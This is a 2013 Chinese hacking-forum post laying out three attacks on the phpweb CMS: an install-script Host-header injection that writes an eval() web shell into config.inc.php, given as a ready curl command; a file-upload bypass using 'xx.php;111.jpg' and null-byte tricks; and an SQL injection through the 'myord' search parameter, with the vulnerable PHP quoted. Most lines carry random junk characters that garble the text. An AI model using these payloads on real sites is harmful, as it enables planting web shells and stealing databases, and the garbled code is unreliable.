找回密码
 立即注册
查看: 3271|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
% r% ~; u$ d0 ~
# ^1 n2 z: R5 J之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
9 P) a- H2 k& O9 w; R! [/ r
( v, [" G% O3 u* S8 l鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件" \* @; ?7 u+ M6 z
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
/ @9 N" |% l! G8 r ( \! F! I' F. Z. _1 B; C  v
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
5 h  w: j9 i9 j8 m2 z5 Z
5 ^/ b! G3 N4 Y分析:/ j' m3 T% C- c; \/ [
/ i0 w- G( P0 W- y9 F. u; q* ~

1 Z" I3 H* c% u) H% s& N, b- d$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
$ D6 R8 ~# \; L  s* d) G - g( Q: O5 K5 t: C& x
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);0 r0 f$ h2 u- J, _: @
                                            $filestr=str_replace(" ","",$filestr);" j. {( U4 @2 ~( z$ b
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
- v, k" [5 l; k                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
* C# `9 V3 m3 o" j( s6 b! N3 B/ D                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
' m7 ]4 o0 {7 _2 S                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);3 A: J# }/ s, j
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);) V$ o# ]* \3 M) B, e" T
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);# ~3 Z; S: D7 y8 G; u, c% O
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);9 E" u3 _7 l" O# v  O3 W
+ j' U# u- S3 s5 H% x5 f3 W
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
+ O" n% h: U0 q$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
7 W' o+ ]0 A8 |; K/ C # W2 y$ p, p7 G: S6 L
poc:; q3 n9 _" x. V0 Z* K

0 ^2 V! `  ?4 z/ y8 t?9 W1 Z/ G  h1 \3 `% C+ }
1( j- O# f. j5 C! q: C3 |
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
- Q1 ?5 T8 T5 K2 ?4 ~0 C9 `' T( Kshell地址: /config.inc.php
0 t, \: X/ P7 N" m! \跟之前的 phpcms一样 需要远程数据库
# f. T8 ]' E; q) H & i: O. ?- ~. X- f
——————————————————–$ X) O0 Q, v2 S- v5 M
上传漏洞(需要进后台):
# |& w* [7 K  j+ E  r# T% _漏洞文件: /kedit/upload_cgi/upload.php( ]* r" F* o  |  R) o0 ?: S0 T
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
$ W* t" G; \, ~9 z8 \$ V: p0 y" } $ g) t2 l0 X( x$ y  m

  P7 L9 p/ g! h- e7 h# W  q<?php
8 E9 _' s3 g( h- ?" E# e' X9 m5 ?9 D    define("ROOTPATH", "../../");) I9 }& _; Z" z; d- x, j0 @: `
    include(ROOTPATH."includes/admin.inc.php");! f/ |6 d6 {+ G' `' W
    NeedAuth(0);
' l6 o# v0 l) U( Y8 j0 e
) f5 a3 ]; N$ U9 o6 r    $dt=date("Ymd",time());2 w2 V& A$ d" i: _$ R& P, Z
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
" ]% H9 ]1 e8 y7 ~4 C1 w: |  Y- U            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
4 ]# f. I$ E" ^  u4 k: X  S    }; s4 L  S! \$ i$ o2 C. P

; _# e% x$ K4 u1 r% u    //文件保存目录路径
! {/ D9 X# w! ~5 N- P4 Q+ h% n    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
" ?6 I2 @: U/ A& _: ^    echo $save_path;
! \7 w. x: G# C- e    //文件保存目录URL
3 Q& u, q# T0 F. s" n  J+ g/ j/ r9 @    $save_url = '../../'.$_POST['attachPath'].$dt.'/';; i8 \8 H$ q& f; m. m4 a( T! b
! z- c, W; R; ?& p
    //定义允许上传的文件扩展名8 y7 u1 `/ Q  _0 M1 j4 N% h9 V
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀0 F- f6 T5 X' \9 l: r
8 _) ~6 s+ E9 A8 X% J/ V
    //最大文件大小# y5 I" z5 d6 M/ t" P+ P( q2 P) t
    $max_size = 1000000;  `: _) a: e) C) `7 t2 U% m" D

6 \' Q* J& I2 P" ^: l7 o    //更改目录权限6 [: c& w3 o" v' V) o
    @mkdir($save_path, 0777);$ f( e' y2 L! z

/ |. W3 n# Y6 V, }8 [$ n    //文件的全部路径* [5 ]  l- I7 D* |& K# J# Z* q* K
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
" h1 b/ C  e5 E5 e, D # O( e3 s3 [0 [& }
    //文件URL, c" g+ D0 s; C: c3 G
    $file_url = $save_url.$_POST['fileName'];1 |$ a$ y" O  z8 E( l8 y; b: }
//有上传文件时/ k9 p4 b" F( K/ K& ^, V
    if (empty($_FILES) === false) {
# Y( |# E  F: N   O# y- K* m6 I2 k( X; O, U
            //原文件名; Q' X/ n. h6 m- z% o3 x
            $file_name = $_FILES['fileData']['name'];
) s. M+ F; ~7 s0 j            //服务器上临时文件名. _6 L; m5 V( L4 r- K) a6 y
            $tmp_name = $_FILES['fileData']['tmp_name'];7 g4 O8 J+ A5 j6 q
            //文件大小
! R) I3 ?* O( \            $file_size = $_FILES['fileData']['size'];% w" a, u  U, A  S- ?
            //检查目录
3 ~/ _( b3 j0 M2 Y            if (@is_dir($save_path) === false) {7 n8 w  `7 g' V4 ?- S5 N! w
                    alert("上传目录不存在。");7 y' k; F1 h% D$ {# }+ L2 p
            }5 f; Z# U+ t8 Q8 p9 {+ c
            //检查目录写权限! F/ v1 K" n' U9 Y! E7 M- o8 G
            if (@is_writable($save_path) === false) {' Q- n) T& O" ~& G5 ]$ N" J4 h
                    alert("上传目录没有写权限。");8 U  n' c4 y# X) [0 a, A1 v8 x
            }
% b8 b* b) I" `# o: w  J" G0 j            //检查是否已上传* Q$ s8 H$ V9 d1 _
            if (@is_uploaded_file($tmp_name) === false) {
! X( I" ~  c+ t- H8 m                    alert("临时文件可能不是上传文件。");
& M; ?( K0 W8 L1 |4 m            }
) i! h: B3 \* g1 P) ]            //检查文件大小' J" R6 [, v2 e! F0 w8 r# ?$ R. b
            if ($file_size > $max_size) {
% o3 R( \4 A3 r, r                    alert("上传文件大小超过限制。");
& S- l0 q7 O% _! y: h7 W            }
$ Q5 w7 u/ m' P            //获得文件扩展名
6 U4 K0 Q$ _1 E0 N            $temp_arr = explode(".", $_POST['fileName']);
3 `4 q) A/ Y5 `4 x* g' m            $file_ext = array_pop($temp_arr);
5 G/ @2 e1 W4 V  J8 p            $file_ext = trim($file_ext);
; Z. G. K, n1 B; A8 v8 K. {            $file_ext = strtolower($file_ext);
0 L5 Q* r/ c7 m& _ 1 ?1 n% g: R2 x! V$ Z; }
            //检查扩展名   9 t( A) q7 R9 Y0 }9 [
            if (in_array($file_ext, $ext_arr) === false) {     & t( R6 F: _" g
                    alert("上传文件扩展名是不允许的扩展名。");9 L( i7 w+ C- c' I5 A; N5 {* |
            }
1 o1 ~) B" Y! |) X) v . s" e) W  G  p0 }7 U9 T7 ]# b
            //移动文件   9 Q: t3 T& K, f+ q2 t
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^  o( n) M( I5 p7 g# m! D
            if (move_uploaded_file($tmp_name, $file_path) === false) {" y' x3 ~9 ?( f+ R: F9 Q
                    alert("上传文件失败。");: u/ j* D9 ^8 n5 j/ y$ U% L; r. c$ \
            }
1 ]+ j/ i0 ]( A0 L5 S2 C# P7 ] . ?* L2 O- v$ ]. Z/ E$ y. \
            @chmod($file_path,0666);: x+ Z8 s( I+ ~7 S# M

5 l% r& d/ }- B1 n( _( ~! L    ?>
0 p  d- f  {2 }. V, I  S) `/ O抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227: p% {# i- t0 Z6 Z4 G  p
& d2 A8 g2 m& B
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过, e1 n1 q: H  w, d0 k
5 l* j* q- v6 l" W2 o
——————————————————
/ z2 Q  U+ P0 o3 W; b% f( w注入漏洞:- Y: o8 u3 H; \
漏洞文件:search/module/search.php
& W) ^4 i" {4 g0 i3 c/search/index.php?key=1&myord=1 [sqlinjection]
' Q5 n; q" J! K& D3 ` & X0 g! ^) h9 D3 v( }* Z9 _

- ^. h) o7 C3 w/ ^, y<?php. R2 B9 y. u2 `: ?- `9 R
   //       ... 省略 n 行...
) P$ M$ A2 g3 h4 W6 p' l   //第18行:$ A) r5 n; O' |# r6 j- N
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响5 ?6 o( v; s( k4 z  l, ?! y
           $page=htmlspecialchars($_GET["page"]);
- _: t; v/ I( S! R' s' b. S           $myord=htmlspecialchars($_GET["myord"]);
- `2 v6 C0 n- |/ t/ s; U4 B 0 T  {0 N# d* G8 {/ U5 n* s
   //       ... 省略 n 行..." V! v$ N7 w9 q6 V4 y
   $key,$myord 两个参数带入查询
% w- g! o& N' T7 Z   //第47行 $key:0 J9 h; q6 q0 {6 `" b; t# n5 n
5 Q) M1 d: J2 R$ Z; K7 t
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
% `- V0 p4 `+ G6 g2 J5 y4 s+ s
6 n# a( g5 [2 ^0 z   //第197行 $myord* U. I3 r. u- a( B/ A3 D
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
8 M' u2 t% C& v0 N) Q" z
2 r. @! c; U+ v" ]) z' J% I   ?>
" K* A6 A# m% {2 y5 w+ D" T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表